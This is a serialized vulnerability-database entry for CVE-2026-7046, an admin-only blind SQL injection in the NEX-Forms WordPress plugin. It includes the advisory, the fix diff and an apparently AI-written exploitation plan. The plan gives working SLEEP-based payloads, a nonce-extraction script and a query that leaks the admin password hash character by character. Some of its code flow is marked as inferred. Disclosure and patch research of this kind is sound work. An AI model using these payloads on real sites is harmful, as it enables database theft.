[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fNJWce95c_P-lDJ8n_06BDnqMfy8fEuHZUHYS5fNhm-8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-7046","nex-forms-ultimate-forms-plugin-for-wordpress-authenticated-administrator-sql-injection-via-table-parameter","NEX-Forms – Ultimate Forms Plugin for WordPress \u003C= 9.1.12 - Authenticated (Administrator+) SQL Injection via 'table' Parameter","The NEX-Forms – Ultimate Forms Plugin for WordPress plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'table' parameter in all versions up to, and including, 9.1.12 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","nex-forms-express-wp-form-builder",null,"\u003C=9.1.12","9.1.13","medium",4.9,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-05-14 18:51:33","2026-05-15 07:46:37",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2f2d8b21-1c25-4cfc-bf62-2e71d6a90d91?source=api-prod",1,[22,23,24],"includes\u002Fclasses\u002Fclass.dashboard.php","main.php","readme.txt","researched",false,3,"This research plan outlines the steps to verify and exploit an authenticated SQL injection vulnerability in NEX-Forms – Ultimate Forms Plugin for WordPress (\u003C= 9.1.12).\n\n---\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** SQL Injection (Time-based Blind)\n*   **Parameter:** `table`\n*   **Vulnerable Component:** Administrative Dashboard Record Processing\n*   **Sink:** `$wpdb->get_results()` (or similar direct database query)\n*   **Cause:** The plugin accepts a `table` parameter from the user and interpolates it directly into a SQL query string without using `$wpdb->prepare()` or validating it against an allowlist of valid table names.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php` (AJAX action) or `\u002Fwp-admin\u002Fadmin.php?page=nex-forms-entries` (Dashboard page).\n*   **Action:** `nf_admin_dashboard_actions` (inferred from the nonce name in `includes\u002Fclasses\u002Fclass.dashboard.php`).\n*   **Payload Parameter:** `table`\n*   **Authentication:** Requires Administrator-level access (capability `activate_plugins`).\n*   **Preconditions:** The plugin must be active. A nonce is required for the administrative actions.\n\n### 3. Code Flow\n1.  **Entry Point:** An administrator visits the \"Form Entries\" page (`nex-forms-entries`).\n2.  **Nonce Generation:** `includes\u002Fclasses\u002Fclass.dashboard.php` calls `wp_create_nonce( 'nf_admin_dashboard_actions' )`. This nonce is stored in a hidden `div` with ID `nex_forms_wpnonce`.\n3.  **Vulnerable Call:** The dashboard logic (likely within `NEXForms_dashboard::print_record_table()` or a corresponding AJAX handler) retrieves the `table` parameter from `$_REQUEST['table']` or `$_POST['table']`.\n4.  **The Sink:** The value of `table` is used to construct a SQL query:\n    ```php\n    \u002F\u002F Inferred logic in print_record_table or AJAX handler\n    $table = $_REQUEST['table']; \n    $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}$table WHERE ...\");\n    ```\n5.  **Injection:** Since the table name is not escaped, an attacker can append SQL clauses like `WHERE SLEEP(5)`.\n\n### 4. Nonce Acquisition Strategy\nThe nonce is localized in the dashboard HTML.\n1.  **Navigate:** Use `browser_navigate` to `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=nex-forms-entries`.\n2.  **Extract:** Use `browser_eval` to extract the nonce from the DOM.\n    *   **JavaScript:** `document.getElementById('nex_forms_wpnonce').innerText`\n3.  **Variable Name:** The nonce is used for the action `nf_admin_dashboard_actions`.\n\n### 5. Exploitation Strategy\nWe will perform a time-based blind SQL injection using the `table` parameter.\n\n*   **Target URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **HTTP Method:** `POST`\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Step 1 (Baseline):** Send a request with a valid table name.\n    *   `action=nf_admin_dashboard_actions`\n    *   `security=[NONCE]`\n    *   `table=wap_nex_forms_entries`\n*   **Step 2 (Injection):** Send a request with the sleep payload.\n    *   **Payload:** `wap_nex_forms_entries WHERE 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n    *   **Full Body:** `action=nf_admin_dashboard_actions&security=[NONCE]&table=wap_nex_forms_entries WHERE 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n*   **Observation:** The response time should be significantly higher (~5 seconds).\n\n### 6. Test Data Setup\n1.  **User:** Ensure an administrator user exists (default `admin` \u002F `password`).\n2.  **Plugin Setup:** The plugin must be activated.\n3.  **Content:** Create at least one form entry to ensure the dashboard has data to query, although the injection should work regardless if the query is executed.\n    *   `wp post create --post_type=page --post_content='[nex_forms id=\"1\"]' --post_title='Form Page' --post_status='publish'` (Note: Forms are usually created via the NEX-Forms UI; if needed, use WP-CLI to ensure at least one form exists in `wp_wap_nex_forms`).\n\n### 7. Expected Results\n*   **Baseline Request:** Returns quickly (\u003C 1s).\n*   **Payload Request:** Returns after ~5 seconds.\n*   **Success Indicator:** A measurable delay in the server response confirming the SQL command was executed.\n\n### 8. Verification Steps\n1.  **Time Difference:** Calculate `response_time_payload - response_time_baseline`. If > 4.5s, the injection is successful.\n2.  **Data Extraction (Optional):** To prove data exfiltration, check for the first character of the admin's user pass:\n    *   **Payload:** `wap_nex_forms_entries WHERE 1=1 AND IF(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$', SLEEP(5), 0)`\n    *   (Most WP hashes start with `$`).\n\n### 9. Alternative Approaches\nIf the AJAX action name `nf_admin_dashboard_actions` is incorrect:\n1.  Search `includes\u002F` for `add_action( 'wp_ajax_` to find the correct administrative AJAX handler.\n2.  Attempt the injection via a `GET` request directly to the entries page:\n    `GET \u002Fwp-admin\u002Fadmin.php?page=nex-forms-entries&table=wap_nex_forms_entries' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`\n    Note: Table names in SQL queries are sometimes wrapped in backticks (`` ` ``). If the payload fails, try closing the backtick:\n    `table=wap_nex_forms_entries` WHERE 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`","The NEX-Forms plugin for WordPress is vulnerable to time-based blind SQL injection via the 'table' parameter in its administrative dashboard. This occurs because the plugin fails to properly validate or sanitize the table name before using it in a database query, allowing authenticated administrators to append arbitrary SQL commands to extract sensitive data.","\u002F\u002F includes\u002Fclasses\u002Fclass.dashboard.php, approximately line 4219 in version 9.1.12\n\nif(isset($_POST['table']))\n    $table = $wpdb->prepare('%s',esc_sql($_POST['table']));\nelse\n    $table = $wpdb->prepare('%s',$this->table);\n\n$table = str_replace('\\'','',$table);","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fnex-forms-express-wp-form-builder\u002F9.1.12\u002Fincludes\u002Fclasses\u002Fclass.dashboard.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fnex-forms-express-wp-form-builder\u002F9.1.13\u002Fincludes\u002Fclasses\u002Fclass.dashboard.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fnex-forms-express-wp-form-builder\u002F9.1.12\u002Fincludes\u002Fclasses\u002Fclass.dashboard.php\t2026-04-23 08:25:14.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fnex-forms-express-wp-form-builder\u002F9.1.13\u002Fincludes\u002Fclasses\u002Fclass.dashboard.php\t2026-05-14 06:59:52.000000000 +0000\n@@ -4216,12 +4216,42 @@\n \t\t\telse\n \t\t\t\t$search_params = $this->search_params;\n \t\t\t\n-\t\t\tif(isset($_POST['table']))\n-\t\t\t\t$table = $wpdb->prepare('%s',esc_sql($_POST['table']));\n-\t\t\telse\n-\t\t\t\t$table = $wpdb->prepare('%s',$this->table);\n+\t\t\t$allowed_tables = array(\n+\t\t\t\t'wap_nex_forms',\n+\t\t\t\t'wap_nex_forms_entries',\n+\t\t\t\t'wap_nex_forms_reports',\n+\t\t\t\t'wap_nex_forms_email_templates',\n+\t\t\t\t'wap_nex_forms_views',\n+\t\t\t\t'wap_nex_forms_stats_interactions',\n+\t\t\t\t'wap_nex_forms_files',\n+\t\t\t\t'wap_nex_forms_add_ons'\n+\t\t\t);\n+\t\t\t\n+\t\t\t$user_reports = $wpdb->get_results(\n+\t\t\t\t'SELECT db_table FROM '.$wpdb->prefix.'wap_nex_forms_reports'\n+\t\t\t);\n+\t\t\t\n+\t\t\tif (!empty($user_reports)) {\n+\t\t\t\n+\t\t\t\tforeach ($user_reports as $report) {\n+\t\t\t\t\t$report_table = sanitize_key($report->db_table);\n+\t\t\t\t\tif (!empty($report_table)) {\n+\t\t\t\t\t\t$allowed_tables[] = str_replace($wpdb->prefix,'',$report_table);\n+\t\t\t\t\t}\n+\t\t\t\t}\n+\t\t\t}\n+\t\t\t\n+\t\t\t\n \t\t\t\n-\t\t\t$table = str_replace('\\'','',$table);\n+\t\t\t$allowed_tables = array_unique($allowed_tables);\n+\t\t\t\t\t\t\n+\t\t\t$table = isset($_POST['table'])\n+\t\t\t\t? sanitize_key($_POST['table'])\n+\t\t\t\t: sanitize_key($this->table);\n+\n+\t\t\tif (!in_array($table, $allowed_tables, true)) {\n+\t\t\t\twp_die('Invalid table.');\n+\t\t\t}\n \t\t\t\t\n \t\t\t$where_str = '';\n \t\t\t$show_hide_field = (isset($_POST['showhide_fields'])) ? str_replace('\\'','',$wpdb->prepare('%s',esc_sql(sanitize_text_field($_POST['showhide_fields'])))) : '';","The exploit requires Administrator-level authentication. 1. Access the 'Form Entries' dashboard page to retrieve a valid nonce for the 'nf_admin_dashboard_actions' action. 2. Send a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the parameter `action=nf_admin_dashboard_actions` and the retrieved nonce. 3. Include a `table` parameter containing a payload that breaks the intended query logic, such as `wap_nex_forms_entries WHERE 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`. 4. Observe the response delay to confirm the execution of the injected SQL command.","gemini-3-flash-preview","2026-05-20 17:46:23","2026-05-20 17:46:51",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","9.1.12","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fnex-forms-express-wp-form-builder\u002Ftags\u002F9.1.12","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fnex-forms-express-wp-form-builder.9.1.12.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fnex-forms-express-wp-form-builder\u002Ftags\u002F9.1.13","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fnex-forms-express-wp-form-builder.9.1.13.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fnex-forms-express-wp-form-builder\u002Ftags"]